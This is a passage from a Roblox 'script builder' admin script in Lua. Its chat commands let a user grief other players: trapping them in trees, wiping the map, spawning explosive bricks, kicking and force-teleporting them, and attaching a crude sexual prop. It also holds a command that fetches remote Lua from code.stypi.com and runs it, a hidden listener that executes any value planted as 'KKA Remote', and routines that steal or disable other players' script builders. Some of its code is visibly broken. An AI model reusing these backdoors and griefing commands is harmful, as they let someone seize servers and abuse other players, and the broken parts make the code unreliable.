  14319.         end
  14320.     end
  14321. end)
  14322. Command("Tree", 3, "Trees a player", function(Msg, Speaker)
  14323.     local PlrTab = getPlayer(Speaker, Msg)
  14324.     if #PlrTab > 0 then
  14325.         for _,v in pairs(PlrTab) do
  14326.             ypcall(function()
  14327.             if v.Character:findFirstChild("Torso") == nil then return end
  14328.         local treet = Instance.new("Part", workspace)
  14329.         treet.Size = Vector3.new(4, 20, 4)
  14330.         treet.Anchored = true
  14331.         treet.Locked = true
  14332.         treet.BrickColor = BrickColor.new("Reddish brown")
  14333.         treet.CFrame = v.Character.Torso.CFrame * CFrame.new(0, -13, 0)
  14334.         local treetop = Instance.new("Part", workspace)
  14335.         treetop.BrickColor = BrickColor.new("Earth green")
  14336.         treetop.TopSurface = "Smooth"
  14337.         treetop.BottomSurface = "Smooth"
  14338.         treetop.Size = Vector3.new(13, 13, 13)
  14339.         treetop.Anchored = true
  14340.         treetop.Shape = "Ball"
  14341.         treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
  14342.         v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.new(0, 5, 0)
  14343.         coroutine.resume(coroutine.create(function()
  14344.         for i = 1, 200 do
  14345.         wait()
  14346.         if treet ~= nil then
  14347.         if treetop ~= nil then
  14348.         treet.CFrame = treet.CFrame * CFrame.new(0 ,0.1, 0)
  14349.         treetop.CFrame = treetop.CFrame * CFrame.new(0 ,0.1, 0)
  14350.         end
  14351.         end
  14352.         end
  14353.         end))
  14354.         Output("Treed "..v.Name, Speaker,nil)
  14355.             end)
  14356.         end
  14357.     end
  14358. end)
  14359. Command("Sd", 3, "Gives a player a small stick", function(Msg, Speaker)
  14360.     local PlrTab = getPlayer(Speaker, Msg)
  14361.     if #PlrTab > 0 then
  14362.         for _,v in pairs(PlrTab) do
  14363.             ypcall(function()
  14364.             person=v.Name
  14365.                 color = "Pastel brown"
  14366.                 pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  14367.                 D = Instance.new("Model",workspace[person])
  14368.                 D.Name = "Nice thing"
  14369.                 bg = Instance.new("BodyGyro",workspace[person].Torso)
  14370.                 d = Instance.new("Part")
  14371.                 d.TopSurface = 0
  14372.                 d.BottomSurface = 0
  14373.                 d.Name = "Main"
  14374.                 d.Parent = workspace[person]["Nice thing"]
  14375.                 d.formFactor = 3
  14376.                 d.Size = Vector3.new(0.6/2 ,2.5 ,0.6/2 )
  14377.                 d.BrickColor = BrickColor.new(color)
  14378.                 d.Position = workspace[person].Head.Position
  14379.                 d.CanCollide = false
  14380.                 local cy = Instance.new("CylinderMesh")
  14381.                 cy.Parent = d
  14382.                 w = Instance.new("Weld")
  14383.                 w.Parent = workspace[person].Head
  14384.                 w.Part0 = d
  14385.                 w.Part1 = workspace[person].Head
  14386.                 w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
  14387.                 local c = Instance.new("Part")
  14388.                 c.Name = "Mush"
  14389.                 c.BottomSurface = 0
  14390.                 c.TopSurface = 0
  14391.                 c.FormFactor = 3
  14392.                 c.Size = Vector3.new(0.6/2 ,0.6/2 ,0.6/2 )
  14393.                 c.CFrame = CFrame.new(d.Position)
  14394.                 c.BrickColor = BrickColor.new("Pink")
  14395.                 c.CanCollide = false
  14396.                 c.Parent = workspace[person]["Nice thing"]
  14397.                 local msm = Instance.new("SpecialMesh")
  14398.                 msm.Parent = c
  14399.                 msm.MeshType = "Sphere"
  14400.                 local cw = Instance.new("Weld")
  14401.                 cw.Parent = c
  14402.                 cw.Part0 = d
  14403.                 cw.Part1 = c
  14404.                 cw.C0 = CFrame.new(0,1.3 ,0)
  14405.                 local ball1 = Instance.new("Part")
  14406.                 ball1.Parent = workspace[person]["Nice thing"]
  14407.                 ball1.Name = "Left Ball"
  14408.                 ball1.BottomSurface = 0
  14409.                 ball1.TopSurface = 0
  14410.                 ball1.CanCollide = false
  14411.                 ball1.formFactor = 3
  14412.                 ball1.Size = Vector3.new(1 ,1 ,1 )
  14413.                 ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position*2)
  14414.                 ball1.BrickColor = BrickColor.new(color)
  14415.                 local bsm = Instance.new("SpecialMesh")
  14416.                 bsm.Parent = ball1
  14417.                 bsm.MeshType = "Sphere"
  14418.                 local b1w = Instance.new("Weld")
  14419.                 b1w.Parent = ball1
  14420.                 b1w.Part0 = workspace[person]["Left Leg"]
  14421.                 b1w.Part1 = ball1
  14422.                 b1w.C0 = CFrame.new(0,0.5 ,-.5 )
  14423.                 local ball2 = Instance.new("Part")
  14424.                 ball2.Parent = workspace[person]["Nice thing"]
  14425.                 ball2.Name = "Right Ball"
  14426.                 ball2.BottomSurface = 0
  14427.                 ball2.CanCollide = false
  14428.                 ball2.TopSurface = 0
  14429.                 ball2.formFactor = 3
  14430.                 ball2.Size = Vector3.new(1 ,1 ,1 )
  14431.                 ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position*2)
  14432.                 ball2.BrickColor = BrickColor.new(color)
  14433.                 local b2sm = Instance.new("SpecialMesh")
  14434.                 b2sm.Parent = ball2
  14435.                 b2sm.MeshType = "Sphere"
  14436.                 local b2w = Instance.new("Weld")
  14437.                 b2w.Parent = ball2
  14438.                 b2w.Part0 = workspace[person]["Right Leg"]
  14439.                 b2w.Part1 = ball2
  14440.                 b2w.C0 = CFrame.new(0,0.5,-.5)
  14441.             Output("Gave "..v.Name.." a small stick", Speaker,nil)
  14442.             end)
  14443.         end
  14444.     end
  14445. end)
  14446. Command("Forest", 5, "Creates a forest", function(Msg, Speaker)
  14447.     local tmodel = Instance.new("Model", workspace)
  14448.         for i = 1, 3000 do
  14449.         local treet = Instance.new("Part", tmodel)
  14450.         treet.Size = Vector3.new(4, 20, 4)
  14451.         treet.Anchored = true
  14452.         treet.Locked = true
  14453.         treet.BrickColor = BrickColor.new("Reddish brown")
  14454.         treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
  14455.         local treetop = Instance.new("Part", tmodel)
  14456.         treetop.BrickColor = BrickColor.new("Earth green")
  14457.         treetop.TopSurface = "Smooth"
  14458.         treetop.BottomSurface = "Smooth"
  14459.         treetop.Size = Vector3.new(13, 13, 13)
  14460.         treetop.Anchored = true
  14461.         treetop.Shape = "Ball"
  14462.         treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
  14463.         end
  14464.     Output("Created a forest", Speaker,nil)
  14465. end)
  14466.  
  14467.  
  14468. Command("G", 1, "Get something? idk", function(Msg, Speaker)
  14469.     if Msg == "r" then
  14470.         Speaker:LoadCharacter()
  14471.     elseif Msg == "rj" then
  14472.         NewLS([[game:service'TeleportService':Teleport(game.PlaceId)]],Speaker.Character)
  14473.     elseif Msg == "c" then
  14474.         NewS([[
  14475.     for _,v in pairs(game.Workspace:GetChildren()) do
  14476.     if v.Name ~= "Terrain" then
  14477.     v:Destroy()
  14478.     end
  14479.     end
  14480.         ]],game.Workspace)
  14481.        
  14482.     a = Instance.new("Part")
  14483.     a.Parent = game.Workspace
  14484.     a.Name = "Base"
  14485.     a.Position = Vector3.new(0, 0.6, 0)
  14486.     a.Size = Vector3.new(1002, 0, 1002)
  14487.     a.Material = "Grass"
  14488.     a.Anchored = true
  14489.     a.BrickColor = BrickColor.new("Earth green")
  14490.     NewS([[
  14491.     for _,v in pairs(game.Players:GetChildren()) do
  14492.     v:LoadCharacter()
  14493.     end
  14494.     ]], game.Workspace)
  14495.  
  14496.    
  14497.    
  14498.     end
  14499.         game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
  14500. game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  14501. game.Lighting.Ambient = Color3.new(1, 1, 1)
  14502. game.Lighting.Brightness = 1
  14503. game.Lighting.TimeOfDay = "11:00:00"
  14504. game.Lighting.FogEnd = 99999999
  14505. game.Workspace.Base.Transparency = 0
  14506. game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
  14507. game.Workspace.Base.Locked = true
  14508. game.Workspace.Base.Anchored = true
  14509. t = game.Teams:GetChildren()
  14510. for i = 1, #t do
  14511. if t[i]:IsA("Team") then
  14512. t[i]: Destroy()
  14513. end
  14514. end
  14515. l = game.Lighting:GetChildren()
  14516. for i = 1, #l do
  14517. if l[i]:IsA("Sky") then
  14518. l[i]: Destroy()
  14519. end
  14520. end
  14521. g = game.Workspace:GetChildren()
  14522. for i = 1, #g do
  14523. if g[i]:IsA("Part") then
  14524. g[i]: Destroy()
  14525. end
  14526. end
  14527. for i = 1, #g do
  14528. if g[i]:IsA("Script") then
  14529. g[i]: Destroy()
  14530. end
  14531. end
  14532. for i = 1, #g do
  14533. if g[i]:IsA("StringValue") then
  14534. g[i]: Destroy()
  14535. end
  14536. end
  14537. for i = 1, #g do
  14538. if g[i]:IsA("IntValue") then
  14539. g[i]: Destroy()
  14540. end
  14541. end
  14542. for i = 1, #g do
  14543. if g[i]:IsA("BoolValue") then
  14544. g[i]: Destroy()
  14545. end
  14546. end
  14547. for i = 1, #g do
  14548. if g[i]:IsA("NumberValue") then
  14549. g[i]: Destroy()
  14550. end
  14551. end
  14552. for i = 1, #g do
  14553. if g[i]:IsA("ObjectValue") then
  14554. g[i]: Destroy()
  14555. end
  14556. end
  14557. for i = 1, #g do
  14558. if g[i]:IsA("RayValue") then
  14559. g[i]: Destroy()
  14560. end
  14561. end
  14562. for i = 1, #g do
  14563. if g[i]:IsA("Sound") then
  14564. g[i]: Destroy()
  14565. end
  14566. end
  14567. for i = 1, #g do
  14568. if g[i]:IsA("Accoutrement") then
  14569. g[i]: Destroy()
  14570. end
  14571. end
  14572. for i = 1, #g do
  14573. if g[i]:IsA("BrickColorValue") then
  14574. g[i]: Destroy()
  14575. end
  14576. end
  14577. for i = 1, #g do
  14578. if g[i]:IsA("Motor") then
  14579. g[i]: Destroy()
  14580. end
  14581. end
  14582. for i = 1, #g do
  14583. if g[i]:IsA("MotorFeature") then
  14584. g[i]: Destroy()
  14585. end
  14586. end
  14587. for i = 1, #g do
  14588. if g[i]:IsA("Color3Value") then
  14589. g[i]: Destroy()
  14590. end
  14591. end
  14592. for i = 1, #g do
  14593. if g[i]:IsA("BindableEvent") then
  14594. g[i]: Destroy()
  14595. end
  14596. end
  14597. for i = 1, #g do
  14598. if g[i]:IsA("BindableFunction") then
  14599. g[i]: Destroy()
  14600. end
  14601. end
  14602. for i = 1, #g do
  14603. if g[i]:IsA("LocalScript") then
  14604. g[i]: Destroy()
  14605. end
  14606. end
  14607. for i = 1, #g do
  14608. if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
  14609. g[i]: Remove()
  14610. end
  14611. end
  14612. for i = 1, #g do
  14613. if g[i]:IsA("Hint") then
  14614. g[i]: Destroy()
  14615. end
  14616. end
  14617. for i = 1, #g do
  14618. if g[i]:IsA("Truss") then
  14619. g[i]: Destroy()
  14620. end
  14621. end
  14622. for i = 1, #g do
  14623. if g[i]:IsA("Tool") then
  14624. g[i]: Destroy()
  14625. end
  14626. end
  14627. for i = 1, #g do
  14628. if g[i]:IsA("HopperBin") then
  14629. g[i]: Destroy()
  14630. end
  14631. end
  14632. for i = 1, #g do
  14633. if g[i]:IsA("Fire") then
  14634. g[i]: Destroy()
  14635. end
  14636. end
  14637. for i = 1, #g do
  14638. if g[i]:IsA("Explosion") then
  14639. g[i]: Destroy()
  14640. end
  14641. end
  14642. for i = 1, #g do
  14643. if g[i]:IsA("Hat") then
  14644. g[i]: Destroy()
  14645. end
  14646. end
  14647. p = Instance.new("Part")
  14648. p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
  14649. BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
  14650. while true do wait()
  14651. for i = 1, #g do
  14652. if g[i]:IsA("Message") then
  14653. g[i]: Destroy()
  14654. end
  14655. end
  14656. for i = 1, #g do
  14657. if g[i]:IsA("Hint") then
  14658. g[i]: Destroy()
  14659. end
  14660. end
  14661. end    
  14662.    
  14663.  
  14664. end)
  14665.  
  14666. Command("Jungle", 5, "Creates a jungle", function(Msg, Speaker)
  14667.     local tmodel = Instance.new("Model", workspace)
  14668.         for i = 1, 5000 do
  14669.         local treet = Instance.new("Part", tmodel)
  14670.         treet.Size = Vector3.new(4, 20, 4)
  14671.         treet.Anchored = true
  14672.         treet.Locked = true
  14673.         treet.BrickColor = BrickColor.new("Reddish brown")
  14674.         treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
  14675.         local treetop = Instance.new("Part", tmodel)
  14676.         treetop.BrickColor = BrickColor.new("Earth green")
  14677.         treetop.TopSurface = "Smooth"
  14678.         treetop.BottomSurface = "Smooth"
  14679.         treetop.Size = Vector3.new(13, 13, 13)
  14680.         treetop.Anchored = true
  14681.         treetop.Shape = "Ball"
  14682.         treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
  14683.         end
  14684.     Output("Created a jungle", Speaker,nil)
  14685. end)
  14686. Command("Menu", 3, "Brings Up Admin Menu", function(Msg, Speaker)
  14687.     Dismiss(Speaker)
  14688.         Menu(Speaker)
  14689. end)
  14690. Command("FA", 1, "Shows a list of creator's favorite animes", function(Msg, Speaker)
  14691.     Dismiss(Speaker)
  14692.     Output("Kanokon", Speaker, nil, nil, Database.Colors.Orange, "rbxassetid://162502378")
  14693.     Output("Bleach", Speaker, nil, nil, Database.Colors.PinkRed, "rbxassetid://150668617")
  14694.     Output("Sword Art Online", Speaker, nil, nil, Database.Colors.Black, "rbxassetid://129964814")
  14695.     Output("Claymore", Speaker, nil, nil, Database.Colors.Grey, "rbxassetid://50802941")
  14696.     Output("Full Metal Alchemy", Speaker, nil, nil, Database.AdvancedColors.CustomPurple, "rbxassetid://100859526")
  14697.     Output("Attack on Titan", Speaker, nil, nil, Database.Colors.Blue, "rbxassetid://122579277")
  14698. end)
  14699.  
  14700. Command("Cred", 1, "Credits", function(Msg, Speaker)
  14701.     Dismiss(Speaker)
  14702.     Output("MasterKelvinVIP", Speaker, nil, nil, Database.Colors.Pink, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
  14703.     Output("Cobalt1164", Speaker, nil, nil, Database.Colors.Purple, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=Cobalt1164")
  14704.     Output("Optiplex123", Speaker, nil, nil, Database.Colors.Yellow, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=optiplex123")
  14705.     Output("Aleksa12432", Speaker, nil, nil, Database.Colors.Blue, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=aleksa12432")
  14706.     Output("Flipflop8421", Speaker, nil, nil, Database.Colors.Green, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
  14707.     Output("Waitex", Speaker, nil, nil, Database.Colors.Red, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=W8X")
  14708. end)
  14709. Command("Dsb", 7, "Disables everyone's SB", function(Msg, Speaker)
  14710.     Dismiss(Speaker)
  14711.         NewS(ReSB, game.Workspace)
  14712.     Output("Disabled everyone's SB",Speaker,nil)
  14713. end)
  14714. Command("Plrs", 1, "Brings up the players selection", function(Msg, Speaker)
  14715.     ListPlayers(Speaker,Msg~="debug")
  14716. end)
  14717. Command("Exe", 5, "Executes a script", function(Msg, Speaker)
  14718.     local Func,Error = loadstring(Msg)
  14719.     getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Output(Rtn, Speaker) end
  14720.     getfenv(Func).Speaker = Speaker
  14721.     if Error == nil then
  14722.         coroutine.wrap(function()
  14723.             Func()
  14724.         end)()
  14725.         Output("Command Executed", Speaker, 5)
  14726.     else
  14727.         Output(Error, Speaker, 10)
  14728.     end
  14729. end)
  14730. Command("Ping", 1, "Pings a message", function(Msg, Speaker)
  14731.         Output(Msg, Speaker)
  14732. end)
  14733. Command("Ping2", 1, "Pings a Teal message", function(Msg, Speaker)
  14734.         Output(Msg, Speaker,nil,nil,Database.Colors.Aqua)
  14735. end)
  14736. Command("Ping3", 1, "Pings a Lime message", function(Msg, Speaker)
  14737.         Output(Msg, Speaker,nil,nil,Database.Colors.Green)
  14738. end)
  14739. Command("Ping4", 1, "Pings a Yellow message", function(Msg, Speaker)
  14740.         Output(Msg, Speaker,nil,nil,Database.Colors.Yellow)
  14741. end)
  14742.  
  14743. Command("Ping5", 1, "Pings a Magenta message", function(Msg, Speaker)
  14744.         Output(Msg, Speaker,nil,nil,Database.Colors.CustomMagenta)
  14745. end)
  14746. Command("Ping6", 1, "Pings a PinkRed message", function(Msg, Speaker)
  14747.         Output(Msg, Speaker,nil,nil,Database.Colors.PinkRed)
  14748. end)
  14749. Command("Ping7", 1, "Pings a Blue message", function(Msg, Speaker)
  14750.         Output(Msg, Speaker,nil,nil,Database.Colors.Blue)
  14751. end)
  14752. Command("Ping8", 1, "Pings a Red message", function(Msg, Speaker)
  14753.         Output(Msg, Speaker,nil,nil,Database.Colors.Red)
  14754. end)
  14755.  
  14756.  
  14757. Command("Ping9", 1, "Pings a Red message", function(Msg, Speaker)
  14758.         Output(Msg, Speaker,nil,nil,Database.AdvancedColors.Random)
  14759. end)
  14760.  
  14761. Command("Test", 1, "Tests if the admin is working", function(Msg, Speaker)
  14762.     Dismiss(Speaker)
  14763.         ypcall(function()
  14764.             Output("Still works",Speaker,5)
  14765.     end)
  14766. end)
  14767. Command("Setrank", 7, "Set's a players rank", function(Msg, Speaker)
  14768.     local Split = GetSplit(Msg)
  14769.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  14770.     local Rank = tonumber(Msg:sub(Split + 1))
  14771.     if #PlrTab > 0 then
  14772.         for _,v in pairs(PlrTab) do
  14773.             if v.Name ~= Owner then
  14774.                 ChangeRank(v, Rank)
  14775.                 Output("Changed "..v.Name.."'s rank to "..tostring(Rank), Speaker, 5)
  14776.             end
  14777.         end
  14778.     end
  14779. end)
  14780. Command("FilterAdd", 7, "Adds a word to crash words table", function(Msg, Speaker)
  14781.     table.insert(CrashWords, tostring(Msg))
  14782. end)
  14783. Command("TpToPlace", 7, "Teleports a player to a place", function(Msg, Speaker)
  14784.     local Split = GetSplit(Msg)
  14785.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  14786.     local Id = tonumber(Msg:sub(Split + 1))
  14787.     if #PlrTab > 0 then
  14788.         for _,v in pairs(PlrTab) do
  14789.             if v.Name ~= Owner then
  14790.                 game:service'TeleportService':Teleport(Id,v.Character)
  14791.                 Output("Teleported "..v.Name.." to place Id :"..tonumber(Id), Speaker, 5)
  14792.             end
  14793.         end
  14794.     end
  14795. end)
  14796. Command("Hat", 7, "Loads a hat to a player", function(Msg, Speaker)
  14797.     local Split = GetSplit(Msg)
  14798.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  14799.     local Id = tonumber(Msg:sub(Split + 1))
  14800.     local Insert3 = game:service'InsertService':LoadAsset(tonumber(Id))
  14801.     if #PlrTab > 0 then
  14802.         for _,v in pairs(PlrTab) do
  14803.             if v.Name ~= Owner then
  14804.                 if Insert3:IsA("Hat") then
  14805.                     Insert3.Parent = v.Character
  14806.                 if Insert3:IsA("Model") then
  14807.                     Insert3.Parent = v.Character
  14808.                     end
  14809.                 end
  14810.             end
  14811.         end
  14812.     end
  14813. end)
  14814. Command("Gear", 7, "Loads a gear to a player", function(Msg, Speaker)
  14815.     local Split = GetSplit(Msg)
  14816.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  14817.     local Id = tonumber(Msg:sub(Split + 1))
  14818.     local Insert4 = game:service'InsertService':LoadAsset(tonumber(Id))
  14819.     if #PlrTab > 0 then
  14820.         for _,v in pairs(PlrTab) do
  14821.             if v.Name ~= Owner then
  14822.                 if Insert4:IsA("Tool") then
  14823.                     Insert4.Parent = v.Backpack
  14824.                 if Insert4:IsA("Model"):GetChildren():IsA("Tool") then
  14825.                     Insert4:GetChildren():IsA("Tool").Parent = v.Backpack
  14826.                     end
  14827.                 end
  14828.             end
  14829.         end
  14830.     end
  14831. end)
  14832. Command("GetInfo", 1, "Gets a player's information", function(Msg, Speaker)
  14833.    
  14834.     local PlrTab = getPlayer(Speaker,Msg)
  14835.     if #PlrTab > 0 then
  14836.         for _,v in pairs(PlrTab) do
  14837.             Output("Name: "..v.Name, Speaker)
  14838.             Output("Age: "..v.AccountAge, Speaker)
  14839.             Output("Id: "..v.userId, Speaker)
  14840.             Output("DataComplexity: "..v.DataComplexity, Speaker)
  14841.             Output("NameDisplayDistance: "..v.NameDisplayDistance, Speaker)
  14842.             Output("HealthDisplayDistance: "..v.HealthDisplayDistance, Speaker)
  14843.             Output("Character: "..v.Character.Name, Speaker)
  14844.             Output("Camera Max: "..v.CameraMaxZoomDistance, Speaker)
  14845.             Output("Camera Min: "..v.CameraMinZoomDistance, Speaker)
  14846.             Output("Character Appearance: "..v.CharacterAppearance, Speaker)
  14847.             Output("Clan Tag: "..v.ClanTag, Speaker)
  14848.         end
  14849.     end
  14850. end)
  14851. Command("LoadM", 7, "Loads a model into workspace", function(Msg, Speaker)
  14852.     local Insert = game:service'InsertService':LoadAsset(tonumber(Id))
  14853.     if Insert:IsA("Model") then
  14854.         Insert.Parent = game.Workspace
  14855.     if Insert:IsA("Part") then
  14856.         Insert.Parent = game.Workspace
  14857.     if Insert:IsA("Script") then
  14858.         Insert:Remove()
  14859.             end
  14860.         end
  14861.     end
  14862. end)
  14863. Command("LoadS", 7, "Loads a script into workspace", function(Msg, Speaker)
  14864.     local Insert2 = game:service'InsertService':LoadAsset(tonumber(Id))
  14865.     if Insert2:IsA("Model") then
  14866.         Insert2:Remove()
  14867.     if Insert2:IsA("Part") then
  14868.         Insert2:Remove()
  14869.     if Insert2:IsA("Script") then
  14870.         Insert2.Parent = game.Workspace
  14871.     if Insert2:IsA("LocalScript") then
  14872.         Insert2.Parent = game.Workspace
  14873.     if Insert2:IsA("ModuleScript") then
  14874.         Insert2:Remove()
  14875.                     end
  14876.                 end
  14877.             end
  14878.         end
  14879.     end
  14880. end)
  14881. Command("Bod", 7, "Adds a brick of death", function(Msg, Speaker)
  14882.     local br = Instance.new("Part", game.Workspace)
  14883.     br.Locked =  true
  14884.     br.Touched:connect(function(part)
  14885.         local bo = Instance.new("Explosion", part)
  14886.         bo.Position = part.Position
  14887.         bo.BlastRadius = 40
  14888.     end)
  14889. end)
  14890. Command("Rbod", 7, "Repeatidily creates brick of deaths.", function(Msg, Speaker)
  14891.     repeat
  14892.         wait(2)
  14893.     local br = Instance.new("Part", game.Workspace)
  14894.     br.Locked =  true
  14895.     br.Touched:connect(function(part)
  14896.         local bo = Instance.new("Explosion", br)
  14897.         bo.Position = br.Position
  14898.         bo.BlastRadius = 40
  14899.     end)
  14900.         wait(2)
  14901.     until
  14902.     game:GetService("Lighting").FogEnd == 1
  14903. end)
  14904. Command("CheckSource", 1, "Checks Source", function(Msg, Speaker)
  14905.         Dismiss()
  14906.         Output("Source Name: "..SourceName, Speaker, 5)
  14907.     end
  14908. )
  14909.  
  14910. Command("FSource", 7, "Finds the source of the script builder", function(Msg,Speaker)
  14911. coroutine.wrap(function()
  14912.     while wait() do
  14913.     if LSource ~= nil then break end
  14914.         if SourceName == "source" then break end
  14915.         for _,v in pairs(game.Players:players()) do
  14916.             if LSource ~= nil then break end
  14917.             pcall(function()
  14918.                 for j,k in pairs(v.Backpack:children()) do
  14919.                     if LSource ~= nil then break end
  14920.                     if k.ClassName == 'LocalScript' then
  14921.                         if k:findFirstChild(SourceName) ~= nil then
  14922.                             k.Archivable = true
  14923.                             LSource = k:Clone()
  14924.                             LSource.Disabled = true
  14925.                             Output("Source found",Seaker,5)
  14926.                             break
  14927.                         end
  14928.                     end
  14929.                     wait()
  14930.                 end
  14931.                 for j,k in pairs(v.Character:children()) do
  14932.                     if LSource ~= nil then break end
  14933.                     if k.ClassName == 'LocalScript' then
  14934.                         if k:findFirstChild(SourceName) ~= nil then
  14935.                             k.Archivable = true
  14936.                             LSource = k:Clone()
  14937.                             LSource.Disabled = true
  14938.                             Output("Source found",Speaker,5)
  14939.                             break
  14940.                                 end
  14941.                             end
  14942.                         wait()
  14943.                     end
  14944.                 end)
  14945.             end
  14946.         end
  14947.     end)()
  14948. end)
  14949.  
  14950. Command("Hload", 7, "Creates a HttpService script", function(Msg, Speaker)
  14951.     local Split = GetSplit(Msg)
  14952.     local Person = tostring(Msg:sub(Split - 1))
  14953.     local Stypi = tostring(Msg:sub(Split + 1))
  14954.     NewS([[
  14955.     a,b = pcall(function()
  14956.     h = game:service'HttpService'
  14957.     link = 'https://code.stypi.com/raw/]]..Person..[[/]]..Stypi..[[.lua'
  14958.     scr = h:GetAsync(link,true)
  14959.     loadstring(scr)()
  14960.     script.Parent:Remove()
  14961.     script:Remove()
  14962.     end) if not a then Instance.new("Hint",workspace).Text = b end
  14963.     ]], game.Workspace)
  14964. end)
  14965.  
  14966. Command("KKAR", 7, "Removes The Admin", function(Msg, Speaker)
  14967.     Dismiss()
  14968.     Removed = true
  14969.     for i,v in pairs(getfenv(1)) do
  14970.         getfenv(1)[i] = nil
  14971.     end
  14972.     script.Disabled = true
  14973. end)
  14974. end)
  14975.  
  14976.  
  14977.  
  14978.  
  14979.  
  14980.  
  14981. Command("Shutdown", 3, "Shuts the server down", function(Msg, Speaker)
  14982.     Dismiss()
  14983.     SystemMsg("Shutting down server...")
  14984.     wait(6)
  14985.     SystemMsg("The shutdown command has been used!")
  14986.     wait(6)
  14987.     SystemMsg("The server will shutdown in 5 seconds!")
  14988.     wait(6)
  14989.     SystemMsg("4!")
  14990.     wait(6)
  14991.     SystemMsg("Hold on,Door's ringing.")
  14992.     wait(6)
  14993.     SystemMsg("That was a bummer,I forgot to eat my taco.")
  14994.     wait(6)
  14995.     SystemMsg("Delishous!")
  14996.     wait(6)
  14997.     SystemMsg("Wait, what second was i on again?")
  14998.     wait(6)
  14999.     SystemMsg("Oh right, 5 seconds.")
  15000.     wait(6)
  15001.     SystemMsg("Hold on, I just woke up and i need to eat pancakes.")
  15002.     wait(6)
  15003.     SystemMsg("There we go! Full on breakfeast!")
  15004.     wait(6)
  15005.     SystemMsg("Shutting down the server in 4 seconds.")
  15006.     wait(6)
  15007.     SystemMsg("Naw, I'm tried ,so i'll just take a nap.")
  15008.     wait(6)
  15009.     SystemMsg("*Hears explosions*")
  15010.     wait(6)
  15011.     SystemMsg("OMG NOOBS ARE BLOWING UP MY HOUSE!")
  15012.     wait(6)
  15013.     SystemMsg("X_X")
  15014.     wait(6)
  15015.     SystemMsg("Wait i came back to life..")
  15016.     wait(6)
  15017.     SystemMsg("NEVERMIND!!!")
  15018.     wait(6)
  15019.     SystemMsg("Noob:I EXPLODE HOUSE! DIE!")
  15020.     wait(6)
  15021.     SystemMsg("Police:Your arrested noob!")
  15022.     wait(6)
  15023.     Output("The shutdown failed,",Speaker,5)
  15024. end)
  15025. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  15026.     if asd.ClassName == 'StringValue' then
  15027.         if asd.Name == 'LolCon' then
  15028.             local k = asd.Value:find('\31')
  15029.             local plr = asd.Value:sub(1,tonumber(k)-1)
  15030.             local msg = asd.Value:sub(tonumber(k)+1)
  15031.             onChatted(plr,msg)
  15032.         elseif asd.Name == "KKA Remote" then
  15033.             local func = loadstring(asd.Value)
  15034.             if func then asd:Destroy() return pcall(func) end
  15035.         end asd:Destroy()
  15036.     end
  15037. end)
  15038. Chats[#Chats+1] = con
  15039. game.Workspace.descendantAdded:connect(function(a)
  15040.     if a.ClassName == 'Script' then
  15041.         if ScriptingLocked and a.Name ~= "0" then
  15042.             a.Disabled = true a:Destroy()
  15043.         end
  15044.     end
  15045. end)
  15046. while wait() do
  15047.     for _,v in pairs (game.Players:players()) do
  15048.         v.Backpack.descendentAdded:connect(function(a2)
  15049.             if a.ClassName == 'LocalScript' then
  15050.                 if ScriptingLocked and a.Name ~= "0" then
  15051.                     a2.Disabled = true
  15052.                     a2:remove()
  15053.                 end
  15054.             end
  15055.         end)
  15056.     end
  15057. end
  15058. coroutine.wrap(function()
  15059.     while wait() do
  15060.         for _,v in pairs (game.Players:players()) do
  15061.             if v.Backpack then
  15062.                 Connect(v)
  15063.                 Output(v.Name.." has joined the server", Speaker)
  15064.             elseif Priv == true and not v.Name:match("^[Ee]insteinK$") then
  15065.                 if FindRank(v) < 1 then
  15066.                     Output(v.Name.." has been kicked due to private server", Speaker)
  15067.                     wait(1)
  15068.                     v:Kick()
  15069.                 end
  15070.             end
  15071.         end
  15072.     end
  15073. end)
  15074. game.Players.PlayerAdded:connect(function(hi)
  15075. for _,v in pairs(game:service'Players'.Parent.Players:children()) do
  15076. if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then
  15077. pcall(function() Output("Connected: "..tostring(hi),v,3) end)
  15078. end
  15079. end
  15080. end)
  15081. game:service'Players'.PlayerAdded:connect(function()
  15082.     for _,v in pairs (game.Players:players()) do
  15083.         for _,w in pairs (CrashWords) do
  15084.                 v.Chatted:Connect(function(Msg)
  15085.                 if CrashPhrases == true then
  15086.                     if Msg == tostring(w) and FindRank(v.Name) <= 3 and not v.Name:match("^[Ee]insteinK$") then
  15087.                         Output("Player ["..v.Name.."] has been kicked for saying "..w, Speaker, 5)
  15088.                         v:Kick()
  15089.                     end
  15090.                 end
  15091.             end)
  15092.         end
  15093.     end
  15094. end)
